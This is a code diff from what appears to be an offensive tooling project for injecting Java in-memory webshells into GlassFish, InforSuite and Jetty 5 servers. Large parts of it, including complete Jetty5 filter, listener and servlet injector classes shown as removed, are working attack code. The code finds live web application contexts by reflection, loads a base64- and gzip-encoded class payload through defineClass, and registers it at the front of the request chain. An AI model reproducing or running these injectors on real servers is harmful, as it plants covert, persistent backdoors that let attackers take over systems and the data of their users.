filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -273,39 +228,21 @@ public class GlassFishFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String name) throws Exception {
for (Class<?> clazz = obj.getClass(); Class<?> clazz = obj.getClass();
clazz != Object.class; while (clazz != Object.class) {
clazz = clazz.getSuperclass()) {
try { try {
return clazz.getDeclaredField(name); Field field = clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) { field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) { private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null; PrintStream printStream = null;
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -76,15 +76,7 @@ public class GlassFishValveInjector {
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
Object target = getThreadTarget(thread); Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
Collection<?> values = childrenMap.values(); Collection<?> values = childrenMap.values();
for (Object value : values) { for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children"); Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -95,40 +87,6 @@ public class GlassFishValveInjector {
return contexts; return contexts;
} }
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream; import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.*; import java.util.*;
import java.util.logging.Logger;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
/** /**
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
} catch (Throwable throwable) { } catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable); msg += "context error: " + getErrorMessage(throwable);
} }
if (contexts == null || contexts.isEmpty()) { if (contexts == null) {
msg += "context not found"; msg += "context not found";
} else { } else {
for (Object context : contexts) { for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) throws Exception { private ClassLoader getWebAppClassLoader(Object context) {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -128,28 +128,17 @@ public class InforSuiteFilterInjector {
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap"); Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try { try {
Object filterMaps = getFieldValue(context, "filterMaps"); invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) { } catch (Exception e) {
// InforSuite10 invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
} }
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -203,54 +192,52 @@ public class InforSuiteFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { public static Object getFieldValue(Object obj, String fieldName) throws Exception {
for (Class<?> clazz = obj.getClass(); Field field = getField(obj, fieldName);
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} }
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception { public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = obj.getClass();
Method method = null; while (clazz != null) {
while (clazz != null && method == null) {
try { try {
if (paramClazz == null) { Field field = clazz.getDeclaredField(fieldName);
method = clazz.getDeclaredMethod(methodName); field.setAccessible(true);
} else { return field;
method = clazz.getDeclaredMethod(methodName, paramClazz); } catch (NoSuchFieldException e) {
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
if (method == null) { throw new NoSuchFieldException(fieldName);
throw new NoSuchMethodException("Method not found: " + methodName); }
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
} }
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -1,297 +0,0 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception {
Object webApplicationHandler = getWebApplicationHandler(context);
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
Object filterHolder = invokeMethod(
webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
invokeMethod(
webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
moveLastPathFilterToFront(webApplicationHandler);
clearChainCache(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private void moveLastPathFilterToFront(Object webApplicationHandler) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters != null && pathFilters.size() > 1) {
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
pathFilters.add(0, filterMapping);
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,440 +0,0 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ListenerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object listener) throws Exception {
if (hasListener(context)) {
return;
}
Object webApplicationHandler = getWebApplicationHandler(context);
try {
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Throwable ignored) {
}
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
ensureJsr154Filter(webApplicationHandler);
syncJsr154Filter(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private boolean hasListener(Object context) throws Exception {
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
return true;
}
Object webApplicationHandler = getWebApplicationHandler(context);
return hasWebApplicationHandlerListener(webApplicationHandler);
}
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
return true;
}
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
}
private Object getFieldValueQuietly(Object obj, String name) {
try {
return getFieldValue(obj, name);
} catch (Throwable ignored) {
return null;
}
}
private boolean containsListener(Object listeners) {
if (listeners == null) {
return false;
}
if (listeners instanceof List) {
List list = (List) listeners;
for (int i = 0; i < list.size(); i++) {
if (isInjectedListener(list.get(i))) {
return true;
}
}
return false;
}
if (listeners.getClass().isArray()) {
int length = Array.getLength(listeners);
for (int i = 0; i < length; i++) {
if (isInjectedListener(Array.get(listeners, i))) {
return true;
}
}
return false;
}
return isInjectedListener(listeners);
}
private boolean isInjectedListener(Object listener) {
return listener != null && listener.getClass().getName().contains(getClassName());
}
private void ensureJsr154Filter(Object webApplicationHandler) {
try {
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
if (filterHolder == null) {
filterHolder = invokeMethod(webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
}
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
try {
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
} catch (Throwable ignored) {
}
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
invokeMethod(webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
}
movePathFilterToFront(webApplicationHandler, "jsr154");
clearChainCache(webApplicationHandler);
} catch (Throwable ignored) {
}
}
private void syncJsr154Filter(Object webApplicationHandler) {
try {
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
if (jsr154Filter == null) {
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
if (jsr154FilterHolder != null) {
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
}
}
if (jsr154Filter == null) {
return;
}
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
} catch (Throwable ignored) {
}
}
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null) {
return false;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
return true;
}
}
} catch (Throwable ignored) {
}
return false;
}
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null || pathFilters.size() < 2) {
return;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
pathFilters.remove(i);
pathFilters.add(0, filterMapping);
return;
}
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,254 +0,0 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
